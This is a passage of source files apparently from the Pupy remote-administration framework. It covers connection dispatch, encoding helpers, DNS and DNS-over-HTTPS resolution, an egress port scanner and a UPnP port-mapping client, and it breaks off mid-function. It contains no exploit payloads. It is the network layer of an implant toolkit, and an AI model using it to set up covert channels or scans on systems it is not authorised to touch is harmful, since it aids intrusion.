                logger.debug('Client supports brine extensions V1')

    def _dispatch(self, data):
        if __debug__:
            logger.debug('Dispatch(%s) start', self)

        now = time.time()

        if data:
            if __debug__:
                logger.debug('Dispatch(%s) - data (%s)', self, len(data))

            msg, seq, args = brine._load(
                data, self._client_capabilities.version
            )

            if msg == consts.MSG_REQUEST:
                if __debug__:
                    logger.debug(
                        'Processing message request, type(%s): '
                        '%s seq: %s - started',
                        self, args[0], seq
                    )

                handler = args[0]

                if handler in FAST_CALLS:
                    self._dispatch_request(
                        seq, args, self._client_capabilities.version
                    )
                else:
                    self._queue(
                        self._on_sync_request_exception,
                        self._dispatch_request,
                        seq, args, self._client_capabilities.version
                    )

            else:
                if __debug__:
                    logger.debug(
                        'Processing message response, seq(%s): '
                        '%s - started', self, seq
                    )

                if msg == consts.MSG_REPLY:
                    self._dispatch_reply(seq, args)
                elif msg == consts.MSG_EXCEPTION:
                    self._dispatch_exception(seq, args)
                else:
                    raise ValueError("invalid message type: %r" % (msg,))

                if __debug__:
                    logger.debug(
                        'Processing message, seq(%s): '
                        '%s - completed', self, seq
                    )

            self._last_ping = now

        elif self.closed:
            if __debug__:
                logger.debug('Dispatch interrupt(%s) - closed', self)

            return
        else:
            if __debug__:
                logger.debug('Dispatch(%s) - no data', self)

        for async_event_id in self._async_callbacks.keys():
            async_event = self._async_callbacks.get(async_event_id)
            if not async_event:
                continue

            if not hasattr(async_event, '_ttl'):
                continue

            if async_event._ttl and async_event._ttl < now:
                raise EOFError(
                    'Async timeout! ({}, event={})'.format(self, async_event),
                    async_event)

    def defer(self, command, *args):
        if not self.closed:
            self._queue(command, *args)

    def ping(self, timeout=30, now=None, block=False):
        ''' RPyC do not have any PING handler. So.. why to wait? '''
        now = now or time.time()
        promise = self.async_request(
            consts.HANDLE_PING, b'ping', timeout=timeout
        )
        if block:
            promise.wait()

        return now

    Connection._HANDLERS[consts.HANDLE_PING] = _handle_ping


class PupyConnectionThread(Thread):
    def __init__(self, *args, **kwargs):
        if __debug__:
            logger.debug('Create connection thread')

        self.pupy_srv = args[0]
        self.connection = PupyConnection(*args, **kwargs)

        Thread.__init__(self)
        self.daemon = True
        self.name = 'PupyConnection({}) Thread'.format(self.connection)

        if __debug__:
            logger.debug(
                'Create connection(%s) thread completed',
                self.connection
            )

    def run(self):
        if __debug__:
            logger.debug('Run connection thread')

        self.connection.init()
        self.connection.loop()

        if __debug__:
            logger.debug('Connection thread closed')


================================================
FILE: pupy/network/lib/convcompat.py
================================================
# -*- coding: utf-8 -*-

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

from sys import (
    getfilesystemencoding, version_info, platform
)

import locale
import unicodedata
import json
import codecs

textchars = bytearray(
    {7, 8, 9, 10, 12, 13, 27} | set(range(0x20, 0x100)) - {0x7f}
)

TRY_ENCODINGS = (
    'utf-8', 'utf-16le',
    locale.getpreferredencoding(),
    getfilesystemencoding()
)

DEFAULT_MB_ENCODING = 'utf-8'


if version_info.major > 2:
    import shlex

    def reprb(value):
        return repr(value)

    def as_native_string(
        value, fail=True, encoding=DEFAULT_MB_ENCODING,
            internal_encoding=None):

        # internal_encoding -- ignored
        # In Py3 strings are in unicode

        if isinstance(value, str):
            return value

        elif isinstance(value, bytes):
            return value.decode(encoding)

        elif fail == 'convert':
            if value is None:
                return ''
            else:
                return str(value)

        elif not fail:
            return value

        raise TypeError(
            'Invalid value type {}: {}'.format(
                repr(value), type(value)
            )
        )

    def as_unicode_string(value, encoding=DEFAULT_MB_ENCODING, fail=True):
        if isinstance(value, str):
            return value

        elif isinstance(value, bytes):
            try:
                return value.decode(encoding)
            except UnicodeDecodeError:
                if fail is True:
                    raise
                else:
                    return value

        elif fail == 'convert':
            if value is None:
                return ''
            else:
                return str(value)

        elif not fail:
            return value

        raise TypeError(
            'Invalid value type {}: {}'.format(
                repr(value), type(value)
            )
        )

    def as_unicode_string_deep(value, encoding=DEFAULT_MB_ENCODING, fail=True):
        if isinstance(value, (bytes, str)):
            return as_unicode_string(value, encoding, fail)

        elif isinstance(value, dict):
            vtype = type(value)
            return vtype(
                (
                    as_unicode_string_deep(key, encoding, fail),
                    as_unicode_string_deep(value, encoding, fail)
                ) for key, value in value.items()
            )

        elif isinstance(value, (list, tuple, set, frozenset)):
            vtype = type(value)
            items = (
                as_unicode_string_deep(item, encoding, fail) for item in value
            )

            if hasattr(vtype, '_fields'):
                return vtype(*tuple(items))
            else:
                return vtype(items)

        elif fail == 'convert':
            if value is None:
                return ''
            else:
                return str(value)

        return value

    def as_escaped_string(value, fail=True):
        if isinstance(value, bytes):
            value = try_as_unicode_string(value, fail)

        if isinstance(value, bytes):
            # Fail = false, conv failed
            return value
        elif isinstance(value, str):
            return value.encode('unicode-escape')
        elif fail == 'convert':
            if value is None:
                return ''
            else:
                return str(value).encode('unicode-escape')
        elif fail:
            raise TypeError(type(value))
        else:
            return value

    def filter_strings(values):
        for value in values:
            if isinstance(value, str):
                yield value

else:
    import ushlex as shlex

    def reprb(value):
        return 'b' + repr(value)

    def as_native_string(
        value, fail=True, encoding=DEFAULT_MB_ENCODING,
            internal_encoding=DEFAULT_MB_ENCODING):

        if isinstance(value, str):
            if encoding == internal_encoding:
                return value

            try:
                return value.decode(encoding).encode(internal_encoding)
            except UnicodeError:
                if not fail:
                    return value
                else:
                    raise

        elif isinstance(value, unicode):
            return value.encode(internal_encoding)

        elif fail == 'convert':
            if value is None:
                return str('')
            else:
                return str(value)

        elif not fail:
            return value

        raise TypeError(
            'Invalid value type {}: {}'.format(
                repr(value), type(value)
            )
        )

    def as_unicode_string(value, encoding=DEFAULT_MB_ENCODING, fail=True):
        if isinstance(value, unicode):
            return value

        elif isinstance(value, bytes):
            try:
                return value.decode(encoding)
            except UnicodeDecodeError:
                if fail:
                    raise
                else:
                    return value

        elif fail == 'convert':
            if value is None:
                return unicode('')
            else:
                return unicode(value)

        elif not fail:
            return value

        raise TypeError(
            'Invalid value type {}: {}'.format(
                repr(value), type(value)
            )
        )

    def as_unicode_string_deep(
            value, encoding=DEFAULT_MB_ENCODING, fail=True):
        if isinstance(value, (bytes, unicode)):
            return as_unicode_string(value, encoding, fail)

        elif isinstance(value, dict):
            vtype = type(value)
            return vtype(
                (
                    as_unicode_string_deep(key, encoding, fail),
                    as_unicode_string_deep(value, encoding, fail)
                ) for key, value in value.items()
            )

        elif isinstance(value, (list, tuple, set, frozenset)):
            vtype = type(value)
            items = (
                as_unicode_string_deep(item, encoding, fail) for item in value
            )

            if hasattr(vtype, '_fields'):
                return vtype(*tuple(items))
            else:
                return vtype(items)

        elif fail == 'convert':
            if value is None:
                return ''
            else:
                return unicode(value)

        return value

    def as_escaped_string(value, fail=True):
        if isinstance(value, bytes):
            value = try_as_unicode_string(value, fail)

        if isinstance(value, bytes):
            # Fail = false, conv failed
            return value
        elif isinstance(value, unicode):
            return value.encode('unicode-escape')
        elif fail == 'convert':
            if value is None:
                return str('')
            else:
                return str(value).encode('string-escape')
        elif fail:
            raise TypeError(type(value))
        else:
            return value

    def filter_strings(values):
        for value in values:
            if isinstance(value, basestring):
                yield value


class ExtendedJsonEncoder(json.JSONEncoder):
    def default(self, obj):
        if isinstance(obj, bytes):
            return 'hex:' + codecs.encode(obj, 'hex').decode('ascii')
        else:
            return super(ExtendedJsonEncoder, self).default(obj)


class ExtendedJsonDecoder(json.JSONDecoder):
    def __init__(self, *args, **kwargs):
        json.JSONDecoder.__init__(
            self, object_hook=self._hook, *args, **kwargs
        )

    def _hook(self, obj):
        if not isinstance(obj, str):
            return obj

        if obj.startswith('hex:'):
            return codecs.decode(obj[4:], 'hex')


def fs_as_unicode_string(value, fail=True):
    return as_unicode_string(
        value,
        encoding=getfilesystemencoding(),
        fail=fail
    )


def fs_as_unicode_string_deep(value):
    return as_unicode_string_deep(
        value,
        encoding=getfilesystemencoding()
    )


def fs_as_native_string(value):
    return as_native_string(
        value,
        encoding=getfilesystemencoding()
    )


def try_as_native_string(value, fail=True):
    for encoding in TRY_ENCODINGS:
        try:
            return as_native_string(
                value, fail=True, encoding=encoding
            )
        except UnicodeError:
            pass

    if fail:
        raise UnicodeError('Unknown encoding')

    return value


def try_as_unicode_string(value, fail=True):
    for encoding in TRY_ENCODINGS:
        try:
            return as_unicode_string(
                value, fail=fail, encoding=encoding
            )
        except UnicodeError:
            pass

    if fail:
        raise UnicodeError('Unknown encoding')

    return value


def fix_exception_encoding(exc):
    exc.args = tuple(
        try_as_native_string(arg, fail=False) for arg in exc.args
    )

    if hasattr(exc, 'message'):
        exc.message = try_as_native_string(exc.message, fail=False)

    return exc


def is_binary(text):
    if isinstance(text, bytes):
        for byte in text:
            if byte not in textchars:
                return True

        return False
    else:
        for char in text:
            if char in '\r\n\t':
                continue

            if unicodedata.category(char) == 'Cc':
                return True

        return False


================================================
FILE: pupy/network/lib/dnsinfo.py
================================================
# -*- coding: utf-8 -*-

# Stolen from dns.resolver

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ('dnsinfo',)

import sys
from io import open


def _parse_resolv_conf(path='/etc/resolv.conf'):
    nameservers = []
    domains = []
    searches = []

    with open(path) as fobj:
        for line in fobj:
            if '#' in line:
                line, _ = line.split('#', 1)

            line = line.strip()
            if not line:
                continue

            parts = line.split()
            if len(parts) < 2:
                continue

            parts = tuple(
                part.strip() for part in parts
            )

            option = parts[0]

            if option == 'nameserver':
                nameserver = parts[1]
                if nameserver in nameservers:
                    continue
                nameservers.append(nameserver)

            elif option == 'domain':
                domain = parts[1]
                if domain in domains:
                    continue
                domains.append(domain)

            elif option == 'search':
                for search in parts[1:]:
                    if search in domains:
                        continue
                    elif search in searches:
                        continue

                    searches.append(search)

    searches = [
        suffix for suffix in searches if suffix not in domains
    ]

    domains.extend(searches)

    return nameservers, domains


def _determine_split_char(entry):
    if entry.find(' ') >= 0:
        split_char = ' '
    elif entry.find(',') >= 0:
        split_char = ','
    else:
        # probably a singleton; treat as a space-separated list.
        split_char = ' '
    return split_char


def _config_win32_nameservers(nameservers):
    split_char = _determine_split_char(nameservers)

    return list(set(
        nameserver.strip() for nameserver in nameservers.split(split_char)
    ))


def _config_win32_search(searches):
    split_char = _determine_split_char(searches)

    return list(set(
        search.strip() for search in searches.split(split_char)
    ))


def _config_win32_fromkey(_winreg, key):
    domains = []
    searches = []
    servers = []

    try:
        win_servers, rtype = _winreg.QueryValueEx(key, 'NameServer')
    except WindowsError:  # pylint: disable=undefined-variable
        win_servers = None

    if win_servers:
        servers.extend(_config_win32_nameservers(win_servers))

    try:
        win_domain, rtype = _winreg.QueryValueEx(key, 'Domain')
        if win_domain:
            domains.append(win_domain)
    except WindowsError:  # pylint: disable=undefined-variable
        pass

    try:
        win_servers, rtype = _winreg.QueryValueEx(key, 'DhcpNameServer')
    except WindowsError:  # pylint: disable=undefined-variable
        win_servers = None

    if win_servers:
        for server in _config_win32_nameservers(win_servers):
            if server not in servers:
                servers.append(server)

    try:
        win_domain, rtype = _winreg.QueryValueEx(key, 'DhcpDomain')
        if win_domain and win_domain not in domains:
            domains.append(win_domain)
    except WindowsError:  # pylint: disable=undefined-variable
        pass

    try:
        win_search, rtype = _winreg.QueryValueEx(key, 'SearchList')
    except WindowsError:  # pylint: disable=undefined-variable
        win_search = None

    if win_search:
        for search in win_search:
            if search not in domains and search not in searches:
                searches.append(search)

    return servers, domains, searches


def _win32_is_nic_enabled(_winreg, lm, guid, interface_key):
    # Look in the Windows Registry to determine whether the network
    # interface corresponding to the given guid is enabled.
    #
    # (Code contributed by Paul Marks, thanks!)
    #
    try:
        # This hard-coded location seems to be consistent, at least
        # from Windows 2000 through Vista.
        connection_key = _winreg.OpenKey(
            lm,
            r'SYSTEM\CurrentControlSet\Control\Network'
            r'\{4D36E972-E325-11CE-BFC1-08002BE10318}'
            r'\%s\Connection' % guid)

        try:
            # The PnpInstanceID points to a key inside Enum
            (pnp_id, ttype) = _winreg.QueryValueEx(
                connection_key, 'PnpInstanceID')

            if ttype != _winreg.REG_SZ:
                raise ValueError

            device_key = _winreg.OpenKey(
                lm, r'SYSTEM\CurrentControlSet\Enum\%s' % pnp_id)

            try:
                # Get ConfigFlags for this device
                (flags, ttype) = _winreg.QueryValueEx(
                    device_key, 'ConfigFlags')

                if ttype != _winreg.REG_DWORD:
                    raise ValueError

                # Based on experimentation, bit 0x1 indicates that the
                # device is disabled.
                return not flags & 0x1

            finally:
                device_key.Close()
        finally:
            connection_key.Close()
    except (EnvironmentError, ValueError):
        # Pre-vista, enabled interfaces seem to have a non-empty
        # NTEContextList; this was how dnspython detected enabled
        # nics before the code above was contributed.  We've retained
        # the old method since we don't know if the code above works
        # on Windows 95/98/ME.
        try:
            (nte, ttype) = _winreg.QueryValueEx(interface_key,
                                                'NTEContextList')
            return nte is not None
        except WindowsError:  # pylint: disable=undefined-variable
            return False


def _parse_registry():
    """Extract resolver configuration from the Windows registry."""
    _winreg = __import__('_winreg')

    lm = _winreg.ConnectRegistry(None, _winreg.HKEY_LOCAL_MACHINE)
    want_scan = False

    servers = []
    domains = []
    searches = []

    try:
        try:
            # XP, 2000
            tcp_params = _winreg.OpenKey(lm,
                                            r'SYSTEM\CurrentControlSet'
                                            r'\Services\Tcpip\Parameters')
            want_scan = True
        except EnvironmentError:
            # ME
            tcp_params = _winreg.OpenKey(lm,
                                            r'SYSTEM\CurrentControlSet'
                                            r'\Services\VxD\MSTCP')
        try:
            c_servers, c_domains, c_searches = _config_win32_fromkey(
                _winreg, tcp_params)

            for server in c_servers:
                if server not in servers:
                    servers.append(server)

            for domain in c_domains:
                if domain not in domains:
                    domains.append(domain)

            searches.extend(c_searches)

        finally:
            tcp_params.Close()

        if want_scan:
            interfaces = _winreg.OpenKey(lm,
                                            r'SYSTEM\CurrentControlSet'
                                            r'\Services\Tcpip\Parameters'
                                            r'\Interfaces')
            try:
                i = 0
                while True:
                    try:
                        guid = _winreg.EnumKey(interfaces, i)
                        i += 1
                        key = _winreg.OpenKey(interfaces, guid)
                        if not _win32_is_nic_enabled(_winreg, lm, guid, key):
                            continue
                        try:
                            c_servers, c_domains, c_searches = _config_win32_fromkey(
                                _winreg, key)

                            for server in c_servers:
                                if server not in servers:
                                    servers.append(server)

                            for domain in c_domains:
                                if domain not in domains:
                                    domains.append(domain)

                            searches.extend(c_searches)
                        finally:
                            key.Close()
                    except EnvironmentError:
                        break
            finally:
                interfaces.Close()
    finally:
        lm.Close()

    searches = [
        search for search in searches
        if search not in searches and search not in domains
    ]

    domains.extend(searches)
    return servers, domains


def dnsinfo():
    if sys.platform == 'win32':
        return _parse_registry()
    else:
        return _parse_resolv_conf()


================================================
FILE: pupy/network/lib/doh.py
================================================
#!/usr/bin/env python

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = (
    'InvalidHostName', 'SecureDNS', 'A', 'AAAA',
    'GOOGLE', 'CLOUDFLARE', 'QUAD9', 'QUAD9_IP'
)

from json import loads

from . import tinyhttp
import socket


# Resource Record Types
A = 1
AAAA = 28

# DNS status codes
NOERROR = 0

UNRESERVED_CHARS = \
    'abcdefghijklmnopqrstuvwxyz' \
    'ABCDEFGHIJKLMNOPQRSTUVWXYZ' \
    '0123456789-._~'


# Providers
GOOGLE = 'https://dns.google.com/resolve'
CLOUDFLARE = 'https://cloudflare-dns.com/dns-query'
# Unstable
QUAD9 = 'https://dns.quad9.net:5053/dns-query'
QUAD9_IP = 'https://9.9.9.9:5053/dns-query'

NEXTDNS_1 = 'https://dns1.nextdns.io/dns-query'
NEXTDNS_2 = 'https://dns2.nextdns.io/dns-query'
# Down
# CZNIC = 'https://odvr.nic.cz/doh'

PROVIDERS = (
    GOOGLE, CLOUDFLARE, QUAD9_IP, QUAD9,
    NEXTDNS_1, NEXTDNS_2
)


class InvalidHostName(Exception):
    pass


class SecureDNS(object):
    __slots__ = ('client', 'url', 'cd')

    '''Resolve domains using Google's Public DNS-over-HTTPS API'''

    @staticmethod
    def available(hostname, ipv6, *expected_ips):
        qtype = AAAA if ipv6 else A

        for provider in PROVIDERS:
            dns = SecureDNS(provider)
            try:
                resolved = dns.resolve(hostname, qtype)
                if not resolved:
                    continue

            except (IOError, OSError, socket.error):
                continue

            if not expected_ips:
                return dns

            if set(expected_ips) == set(resolved):
                return dns

    def __init__(self, url=GOOGLE, validation=False):
        self.client = tinyhttp.HTTP()
        self.url = url
        # Validation enabled
        self.cd = 0 if bool(validation) else 1

    def resolve(self, hostname, query_type=A):
        '''return ip address(es) of hostname'''

        payload, code = self.client.get(
            self.url, code=True,
            headers={
                'Accept': 'application/dns-json'
            },
            params={
                'cd': self.cd,
                'type': query_type,
                'name': self._prepare_hostname(hostname),
            },
        )

        if code != 200:
            return None

        response = loads(payload)

        if response['Status'] == NOERROR:
            answers = []
            for answer in response['Answer']:
                name, response_type, ttl, data = \
                    map(answer.get, ('name', 'type', 'ttl', 'data'))
                if response_type in (A, AAAA):
                    answers.append(str(data))

            if answers == []:
                return None

            return answers

    def _prepare_hostname(self, hostname):
        '''verify the hostname is well-formed'''
        hostname = hostname.rstrip('.')  # strip trailing dot if present

        if not(1 <= len(hostname) <= 253):  # test length of hostname
            raise InvalidHostName()

        for label in hostname.split('.'):  # test length of each label
            if not(1 <= len(label) <= 63):
                raise InvalidHostName()
        try:
            return hostname.encode('ascii')

        except UnicodeEncodeError:
            raise InvalidHostName()

    def __repr__(self):
        return 'SecureDNS({}, {})'.format(
            repr(self.url), bool(self.cd)
        )


================================================
FILE: pupy/network/lib/echo.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'Echo', 'echo'
)

import sys

from random import choice, shuffle
from time import time
from socket import socket, SOCK_DGRAM, AF_INET
from select import select
from string import letters
from threading import Thread, Lock, Event
from netaddr import IPAddress
from urllib2 import (
    OpenerDirector, HTTPHandler, Request
)

from pupy.network.lib.scan import scan, TOP1000
from pupy.network.lib.tinyhttp import NullHandler

if sys.version_info.major > 2:
    xrange = range


MAGIC = b'\xDE\xAD\xBE\xEF'
USER_AGENT = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)'


class EchoScanHTTP(object):
    __slots__ = (
        'available',

        '_timeout',
        '_check_again', '_table', '_opener', '_lock'
    )

    def __init__(self, timeout=10):
        self.available = set()

        self._table = {}
        self._lock = Lock()

        self._timeout = timeout

        self._opener = OpenerDirector()
        self._opener.handlers = []
        self._opener.add_handler(NullHandler(self._table, self._lock))
        self._opener.add_handler(HTTPHandler())

    def _add_table(self, key, sock):
        with self._lock:
            self._table[key] = sock
            sock.setblocking(1)
            sock.settimeout(self._timeout)

    def _del_table(self, key):
        with self._lock:
            del self._table[key]

    def on_open_port(self, info):
        host, port, sock = info
        key = '{}:{}'.format(host, port)
        try:
            self._add_table(key, sock)

            request = Request(
                'http://{}:{}/?echo=%DE%AD%BE%EF'.format(host, port),
                headers={
                    'Host': key,
                    'User-Agent': USER_AGENT,
                })

            response = self._opener.open(
                request, timeout=self._timeout
            )
            data = response.read()

            if data.startswith('GET /?echo=%DE%AD%BE%EF'):
                self.available.add(port)

        finally:
            sock.close()
            self._del_table(key)


class EchoScanTcp(object):
    __slots__ = (
        'available', 'timeout'
    )

    def __init__(self, timeout=10):
        self.timeout = timeout
        self.available = set()

    def on_open_port(self, info):
        host, port, sock = info
        try:
            sock.setblocking(1)
            sock.settimeout(self.timeout)

            payload = MAGIC + b''.join(
                choice(letters) for i in xrange(64))

            sock.send(payload)
            response = sock.recv(len(payload))

            if response == payload:
                self.available.add(port)

        finally:
            sock.close()


def udp(host, timeout=10, amount=10, abort=None):
    connectable_udp = set()

    top_ports = range(20000, 65535)
    low_ports = range(1, 20000)

    shuffle(top_ports)
    shuffle(low_ports)

    ports = iter(top_ports + low_ports)
    more = True

    datas = {}

    while (more or datas) and (not abort or not abort.is_set()):
        while more and len(datas) < 32:
            try:
                port = next(ports)
            except StopIteration:
                more = False
                break

            s = socket(AF_INET, SOCK_DGRAM)
            s.connect((host, port))

            payload = MAGIC + ''.join(
                choice(letters) for i in xrange(64))

            datas[s] = (port, payload, time())
            try:
                s.send(payload)
            except (OSError, IOError):
                del datas[s]

        r, _, _ = select(list(datas), [], [], timeout)
        for sock in r:
            port, inital_payload, _ = datas[sock]
            try:
                payload = sock.recv(len(inital_payload))
                if payload == inital_payload:
                    connectable_udp.add(port)

            except (IOError, OSError):
                pass

            finally:
                del datas[sock]
                sock.close()

        to_cleanup = []
        now = time()

        for sock, (_, _, start) in datas.items():
            if now - start > timeout:
                to_cleanup.append(sock)

        for sock in to_cleanup:
            sock.close()
            del datas[sock]

        if len(connectable_udp) > amount:
            break

    return connectable_udp


def tcp(host, timeout=10, amount=10, abort=None):
    http_context = EchoScanHTTP(timeout)
    tcp_context = EchoScanTcp(timeout)

    top_ports = list(TOP1000)
    low_ports = list(x for x in xrange(1, 65535) if x not in top_ports)

    shuffle(top_ports)
    shuffle(low_ports)

    ports = top_ports + low_ports

    chunk = min(amount, 32)

    while ports and len(http_context.available) < amount:
        portion, ports = ports[:chunk], ports[chunk:]

        portion = scan(
            [host], portion,
            abort=abort, timeout=timeout,
            on_open_port=http_context.on_open_port,
            pass_socket=True
        )

        conntable = (port for _, port in portion)

        scan(
            [host], conntable,
            abort=abort, timeout=timeout,
            on_open_port=tcp_context.on_open_port,
            pass_socket=True
        )

    connectable_raw = tcp_context.available
    connectable_http = set(
        port for port in http_context.available
        if port not in tcp_context.available
    )

    return connectable_raw, connectable_http


class Echo(Thread):
    __slots__ = (
        '_abort', 'tcp', 'http', 'udp',
        'amount', 'host',

        '_on_complete',
    )

    def __init__(self, host, amount=8, on_complete=None):
        Thread.__init__(self)
        self.daemon = True
        self.host = IPAddress(host)
        self.amount = amount
        self._abort = Event()

        self.tcp = None
        self.http = None
        self.udp = None

        self._on_complete = on_complete

    def abort(self):
        self._abort.set()

    def run(self):
        self.tcp, self.http = tcp(
            str(self.host),
            amount=self.amount,
            abort=self._abort
        )

        self.udp = udp(
            str(self.host),
            amount=self.amount,
            abort=self._abort
        )

        if self._on_complete:
            self._on_complete(
                self.tcp, self.http, str(self.udp)
            )


def echo(host, amount, on_complete):
    echo = Echo(host, amount, on_complete)
    echo.start()
    return echo.abort


================================================
FILE: pupy/network/lib/igd.py
================================================
# -*- coding: utf-8 -*-
# Original code from: https://github.com/hujun-open/pyigdc
# Reworked by Oleskii Shevchuk (@alxchk)
# License: MIT

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

__all__ = (
    'UPNPError', 'IGDClient',
)

import sys
import socket

if sys.version_info.major > 2:
    from urllib.request import urlopen, Request
    from urllib.error import HTTPError
    from urllib.parse import urlparse
else:
    from urllib2 import HTTPError, Request, urlopen
    from urlparse import urlparse

try:
    from http_parser.parser import HttpParser
except ImportError:
    from http_parser.pyparser import HttpParser

from xml.etree.ElementTree import fromstring

import netaddr
import logging


def str2bool(bstr):
    return bool(int(bstr))


def getProtoId(proto_name):
    if isinstance(proto_name, int):
        if proto_name > 0 and proto_name <= 65535:
            return proto_name

    proto_name = 'IPPROTO_{}'.format(proto_name)
    if not hasattr(socket, proto_name):
        return False

    return getattr(socket, proto_name)


class UPNPError(Exception):
    def __init__(self, hcode, ucode, udes):
        """
        hcode is the http error code
        ucode is the upnp error code
        udes is the upnp error description
        """
        self.http_code = hcode
        self.code = ucode
        self.description = udes

    def __str__(self):
        return "HTTP Error Code {hc}, UPnP Error Code {c}, {d}"\
            .format(hc=self.http_code, c=self.code, d=self.description)


def get_location_url(sock):
    try:
        chunk, _ = sock.recvfrom(1024)
    except socket.error:
        return

    response = HttpParser(kind=1)
    response.execute(chunk, len(chunk))

    if response.is_headers_complete():
        headers = response.get_headers()

        return headers.get('location')


# sendSOAP is based on part of source code from miranda-upnp.
class IGDClient(object):
    """
    UPnP IGD v1 Client class, supports all actions
    """

    UPNPTYPEDICT = {
        'NewAutoDisconnectTime': int,
        'NewIdleDisconnectTime': int,
        'NewWarnDisconnectDelay': int,
        'NewPortMappingNumberOfEntries': int,
        'NewLeaseDuration': int,
        'NewExternalPort': int,
        'NewInternalPort': int,
        'NewRSIPAvailable': str2bool,
        'NewNATEnabled': str2bool,
        'NewEnabled': str2bool,
        'FirewallEnabled': str2bool,
        'InboundPinholeAllowed': str2bool,
        'OutboundPinholeTimeout': int,
        'UniqueID': int,
        'PinholePackets': int,
        'IsWorking': str2bool,
    }

    NS = {
        'device': 'urn:schemas-upnp-org:device-1-0',
        'control': 'urn:schemas-upnp-org:control-1-0',
        'soap': 'http://schemas.xmlsoap.org/soap/envelope/',
    }

    __slots__ = (
        'ctrlURL', 'debug', 'pprint', 'isv6', 'timeout', 'intIP',
        'igdsvc', 'pr', 'bindIP'
    )

    def __init__(
            self,
            bindIP='0.0.0.0',
            ctrlURL=None,
            service="WANIPC",
            edebug=False,
            pprint=False,
            timeout=2.0,
            available=True):
        """
        - intIP is the source address of the request packet, which implies the source interface
        - ctrlURL is the the control URL of IGD server, client will do discovery if it is None
        """

        if not available:
            self.ctrlURL = None
            return

        self.debug = edebug
        self.pprint = pprint
        self.isv6 = False
        self.timeout = timeout
        self.intIP = None

        if ctrlURL:
            self.ctrlURL = urlparse(ctrlURL)
            self.bindIP = self._getOutgoingLocalAddress(self.ctrlURL.hostname)
            self.intIP = self.bindIP
            self.isv6  = self.bindIP.version == 6
        else:
            self.ctrlURL = None
            self.bindIP = netaddr.IPAddress(bindIP)
            self.isv6  = self.bindIP.version == 6

            if self.isv6:
                self.igdsvc = "IP6FWCTL"
            else:
                self.igdsvc = "WANIPC"

            self.discovery()
            self.discovery(st=b'upnp:rootdevice')

        if self.available and not self.intIP:
            self.intIP = self._getOutgoingLocalAddress()

    @property
    def available(self):
        return self.ctrlURL is not None

    def enableDebug(self, d=True):
        """
        enable debug output
        """
        self.debug = d

    def enablePPrint(self, p=True):
        """
        enable pretty print for XML output
        """
        self.pprint = p

    def _getOutgoingLocalAddress(self):
        try:
            ctrlurl = urlparse(self.ctrlURL)
            remote_addr = netaddr.IPAddress(ctrlurl.hostname)
            rcon = socket.socket(
                socket.AF_INET if remote_addr.version == 4 else socket.AF_INET6,
            )
            rcon.connect((remote_addr.format(), ctrlurl.port or 1900))
            return netaddr.IPAddress(rcon.getsockname()[0])

        except:
            self.available = False
            return None

    def _get1stTagText(self, xmls, tagname_list):
        """
        return 1st tag's value in the xmls
        """
        dom = fromstring(xmls)
        r = {}
        for tagn in tagname_list:
            try:
                txt_node = dom.find('.//{}'.format(tagn))
                if txt_node is not None:
                    if tagn in self.UPNPTYPEDICT:
                        r[tagn] = self.UPNPTYPEDICT[tagn](txt_node.text)
                    else:
                        r[tagn] = txt_node.text
                else:
                    r[tagn] = None
            except:
                print("xml parse err: {tag} not found".format(tag=tagn))

        return r

    def _parseErrMsg(self, err_resp):
        """
        parse UPnP error message, err_resp is the returned XML in http body
        reurn UPnP error code and error description
        """
        dom = fromstring(err_resp)
        err_code = dom.find('.//control:errorCode', self.NS)
        err_desc = dom.find('.//control:errorDescription', self.NS)
        return (err_code.text, err_desc.text)

    def discovery(self, st=b'urn:schemas-upnp-org:device:InternetGatewayDevice:1'):
        """
        Find IGD device and its control URL via UPnP multicast discovery
        """
        logging.warning("Sending multicast traffic looking for IGD Devices / forwarding TCP port ...")
        if not self.isv6:
            up_disc = b'\r\n'.join([
                b'M-SEARCH * HTTP/1.1',
                b'HOST:239.255.255.250:1900',
                b'ST:' + st,
                b'MX:2',
                b'MAN:"ssdp:discover"'
            ]) + b'\r\n' * 2

            sock = socket.socket(
                socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
            try:
                sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 32)
            except:
                pass

            sock.bind((self.bindIP.format(), 19110))
            sock.sendto(up_disc, (b'239.255.255.250', 1900))

        else:
            if self.bindIP.is_link_local():
                dst_ip = b'ff02::c'
            else:
                dst_ip = b'ff05::c'
                up_disc = b'\r\n'.join([
                    b'M-SEARCH * HTTP/1.1',
                    b'HOST:[{dst}]:1900'.format(dst=dst_ip),
                    b'ST:upnp:rootdevice',
                    b'MX:2',
                    b'MAN:"ssdp:discover"'
                ]) + b'\r\n' * 2

            sock = socket.socket(
                socket.AF_INET6, socket.SOCK_DGRAM, socket.IPPROTO_UDP)

            if self.debug:
                print("trying to bind to address:", self.bindIP)

            socketaddr = socket.getaddrinfo(
                self.bindIP.format(), 19110)[-1:][0][-1:][0]
            sock.bind(socketaddr)
            sock.sendto(up_disc, (dst_ip, 1900))

        if self.debug:
            print("Discovery: ----- tx request -----\n " + up_disc)

        sock.settimeout(self.timeout)
        descURL = get_location_url(sock)
        sock.close()

        if self.debug:
            print("Discovery: ----- Location -----\n " + descURL)

        if not descURL:
            return

        try:
            descXMLs = urlopen(descURL, None, self.timeout).read()
        except:
            return

        self.pr = urlparse(descURL)
        baseURL = self.pr.scheme + "://" + self.pr.netloc
        dom = fromstring(descXMLs)

        if self.igdsvc == "WANIPC":
            svctype = 'urn:schemas-upnp-org:service:WANIPConnection'
        else:
            svctype = 'urn:schemas-upnp-org:service:WANIPv6FirewallControl'

        for e in dom.findall('.//device:service', self.NS):
            stn = e.find('device:serviceType', self.NS)
            if stn is not None:
                if stn.text[0:-2] == svctype:
                    cun = e.find('device:controlURL', self.NS).text
                    self.ctrlURL = baseURL + cun
                    break

        if self.debug:
            print("control URL is ", self.ctrlURL)

    def AddPortMapping(self, extPort, proto, intPort, enabled=1, duration=0, intIP=None, desc='', remoteHost=''):
        upnp_method = 'AddPortMapping'

